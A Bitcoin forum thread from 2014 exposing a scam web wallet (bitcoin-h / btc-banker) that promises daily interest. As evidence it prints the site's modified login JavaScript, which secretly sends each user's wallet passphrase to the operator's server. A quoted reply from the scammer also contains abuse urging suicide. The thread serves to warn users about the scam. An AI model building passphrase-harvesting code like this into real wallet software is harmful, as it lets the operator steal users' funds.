Bitcoin Forum
May 07, 2024, 05:30:33 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: ☆★☆ Bitcoin-h, btc-banker | Scammer, theif running scam, web based wallets ☆★☆  (Read 1504 times)
devthedev (OP)
Legendary
*
Offline Offline

Activity: 1050
Merit: 1004



View Profile
July 20, 2014, 10:30:25 PM
 #1

The user "bitcoin-h" is an alt of "btc-banker" trying to scam depositors into sending Bitcoin into his scam web wallet, offering 3-10% interest daily.

Here are the threads if you want to do some reading up before checking out the evidence:
Newest bitcoin-h.com scam
Older btc-banker.com scam

Now the fun part, below is evidence I've compiled about the scams.

please read my previous post - THIS IS A TIME LIMITED PROMO BONUS FROM OUR COMPANY FOR OUR MEMBERS

Hey btc-banker, how have you been?

Just so everyone knows, it's the same scammer as within this thread. https://bitcointalk.org/index.php?topic=610197.0
If you look through the above thread you can see him scam other users. (Make sure you check out BurtW's technical breakdown)

The funny thing is he uses the same phrasing as well.

live statistic: 3340 members with over 1477.3487692308 bitcoins are trusting us!

5369 members

Is 5369 your favorite number?

Over 1448.0442307692 bitcoins.

Yeah, sure.

5369 members with over 1448.0442307692 bitcoins are trusting us!

New members and bitcoins deposited are counted instantly.

Thanks to all meber trust us!

You say trust a lot don't you?

no sense to continue this discution ... you talk big-big stupidity, probable because you are e idiot. (this will be my last reply to your "smart" comments- it's easy to talk shit without any evidence, better go and kill yourself)

Are you kidding me?
Posted from Bitcointa.lk - #xtmmNp5CUbnY4xb8

Let me know if you have any questions. And bitcoin-h, I'm looking forward to breaking down this scam of yours as well.

Here he admits to being an alt of btc-banker,

come with evidence dont talk shit, show me a single user was scammed

Here's that requested evidence,

My 0.1 BTC was moved off my "safe" deterministic address:

https://blockchain.info/address/1Euy5eERuvQKruwCKFPAVp4b3zceYGWPED

last night while I was asleep, see:

https://blockchain.info/tx/d48826b2515072a73f43c2515403fd96c8c252f6cc6e7018f151a0846000528a

The coins were moved here:

https://blockchain.info/address/17nz37jqtQsvVWoi2AKzhuNrkLhH4D2AtN

then here:

https://blockchain.info/address/17DNktmPsUAbD4pXcewGMHk9yQmJNZ2kUH

then mixed.

At just about the same time, 2014-06-05 10:25:22, my other 0.1 BTC were also moved:

https://blockchain.info/tx/859e9b8777641af8c889e4be8c280f0a8194368bf557d3b40331041a502fed0f

Coins are still here:

https://blockchain.info/address/19ZUbFwYEk67oLzUXYMnmjTda8qCzWWrHe

When they need them to pay interest to someone else they will move them and mix them from there.

I have more than 50 btc here and get interest every day without issue!
And still, no trusted member comes forth on btc-bankers behalf.

btc-banker has the private keys of every customer victim.

/thread

Below shows that he doesn't selectively scam, he scams everyone. In this case he scammed someone of about $0.20 in BTC. Yes, 20 cents.

the free 38435 satoshi you put in my newly created wallet is already gone lol guess you have to scrape off every satoshis you could get just to pay off your 5000+ members 3% daily interest  Cry

If you read through the btc-banker thread you can see he has direct access to the private keys.

Here's more evidence that he's the same person who ran the scam site btc-banker.com.

Here's the cached version of btc-banker.com (The original was taken down)


Here's the current bitcoin-h.com website.


Notice any similarities?

bitcoin-h then asks me this,

this is your opinion ..who care about? i expect other members opinion too ...

With his btc-banker scam no other member spoke up about a positive experience with the site even though at the time he claimed to have over 5000 members who have deposited into their wallet.

After he was asked what script was being used this was his response,

the original sourse code is https://github.com/carbonwallet/carbonwallet.github.io (all can verify) was a bit modified for our needs

The issue is, the critical section of code, the one that creates the key pair sequence from the password or pass phrase looks like this on the original web site:

Code:
$('#open-sesame').click(function(){

  var seed = $('#password').val();
  seed = mn_decode(seed);
  Electrum.init(seed, function(r) {
      if(r % 20 == 0)
        $('#seed-progress').css('width', (r + 19) + '%');
    },
    function(privKey) {
      Electrum.gen(10, function(r) {
        WALLET.getKeys().push(new Bitcoin.ECKey(r[1]));
        if(WALLET.getKeys().length == 10)
          login_success();
      });
    }
  );
      
  return true;
})

Notice how it simply creates 10 key pairs.  However, on the btc-banker and bitcoin-h website this function is highly modified:

Code:
$('#open-sesame').click(function(){

$.ajax({
url: 'api/login.php',
type: 'POST',
dataType: 'json',
data: 'passphrase='+$('#password').val(),
success: function(e)
{
w_id = e.id;
can_go = true;

if (e.unread > 0) {
$('#unread_count').html('('+e.unread+')')
}

if (e.mp == 1) {
$('[name=old_pass]').removeClass('hidden');
} else {
$('[name=old_pass]').addClass('hidden');
}

$.ajax({
url: 'api/commission.php',
type: 'POST',
dataType: 'json',
data: 'w='+w_id,
success: function(e)
{
$('#comm').html(e.comm);
withdraw_max = e.comm.replace(/0+$/,'');
withdraw_max = e.comm.replace(/\.+$/,'');
}
});

$.ajax({
url: 'api/withdraw.php',
type: 'POST',
data: 'w='+w_id,
success: function(e)
{
$('#withdraw').html(e);
$(document).on('click', '#withdraw_btn', function()
{
$('#withdrawModal').modal();
$('#withdrawAmmount').html(withdraw_max);
$('input[name=withdraw_amount]').val(withdraw_max);
})
}
});

$(document).on('click', '#withdrawBTC', function()
{
var wform = $(this).closest('form').serialize();
$.ajax({
url: 'api/withdraw.php',
type: 'POST',
data: wform,
success: function(e)
{
$('#withdraw').html(e);
}
});
})

$.ajax({
url: 'api/messages.php',
type: 'POST',
data: 'w='+w_id,
success: function(e)
{
$('#messages').html(e);
$(document).on('click', '.send_msg form button.submit', function()
{
var wform = $(this).closest('form').serialize();
$.ajax({
url: 'api/messages.php',
type: 'POST',
data: wform,
success: function(e)
{
$('#messages').html(e);
}
});
});
}
});

mn_words = e.seed;

var seed = $('#password').val();
seed = mn_decode(seed);

Electrum.init(seed, function(r) {
if(r % 20 == 0)
$('#seed-progress').css('width', (r + 19) + '%');
},
function(privKey) {
Electrum.gen(10, function(r) {
WALLET.getKeys().push(new Bitcoin.ECKey(r[1]));
if(WALLET.getKeys().length == 10)
login_success();
});
}
);
}
});

return true;
})

bitcoin-h, you collect the private keys of every one of your customers. Here is the proof, directly from your code:

Code:
	$('#open-sesame').click(function(){

$.ajax({
url: 'api/login.php',
type: 'POST',
dataType: 'json',
data: 'passphrase='+$('#password').val(),
success: function(e)
{

Specifically this line:

Code:
data: 'passphrase='+$('#password').val(),

Thanks BurtW for digging into the code on this one.

If you're inclined, feel free to give bitcoin-h negative trust feedback.

1715103033
Hero Member
*
Offline Offline

Posts: 1715103033

View Profile Personal Message (Offline)

Ignore
1715103033
Reply with quote  #2

1715103033
Report to moderator
If you see garbage posts (off-topic, trolling, spam, no point, etc.), use the "report to moderator" links. All reports are investigated, though you will rarely be contacted about your reports.
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
devthedev (OP)
Legendary
*
Offline Offline

Activity: 1050
Merit: 1004



View Profile
July 22, 2014, 02:46:12 PM
Last edit: July 22, 2014, 03:03:27 PM by devthedev
 #2

Looks like he's reviving the btc-banker.com scam.
https://bitcointalk.org/index.php?topic=704429

Xch4ng3
Hero Member
*****
Offline Offline

Activity: 661
Merit: 502



View Profile WWW
July 22, 2014, 08:21:21 PM
 #3

Can confirm BTC-Banker and Bitcoin-H are affiliated.



Every time he just comes up with the same excuse saying he's the technical lead, glad you picked up on the fact that he's storing the pass-phrases.



[AUTOBUY] [CHEAP] $2 Account Shop -> https://bitcointalk.org/index.php?topic=4611147
devthedev (OP)
Legendary
*
Offline Offline

Activity: 1050
Merit: 1004



View Profile
July 22, 2014, 09:24:04 PM
 #4

Can confirm BTC-Banker and Bitcoin-H are affiliated.

Yep, there's not one doubt in my mind that they aren't. The user "hybridwallet" is their newest alt account.

Sydboy
Full Member
***
Offline Offline

Activity: 196
Merit: 100


View Profile
July 24, 2014, 02:28:01 AM
 #5

lol how did you guys get access into the code ?
xetsr
Legendary
*
Offline Offline

Activity: 1120
Merit: 1000


View Profile
July 24, 2014, 05:40:50 AM
 #6

lol how did you guys get access into the code ?

Not that hard, he doesn't even attempt to hide it. Just view the html source and you'll see the links to the javascript files.
devthedev (OP)
Legendary
*
Offline Offline

Activity: 1050
Merit: 1004



View Profile
July 24, 2014, 03:23:10 PM
 #7

lol how did you guys get access into the code ?

Not that hard, he doesn't even attempt to hide it. Just view the html source and you'll see the links to the javascript files.

Yeah.. I wish scammers actually tried nowadays. It makes what I do a little more fun.

Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!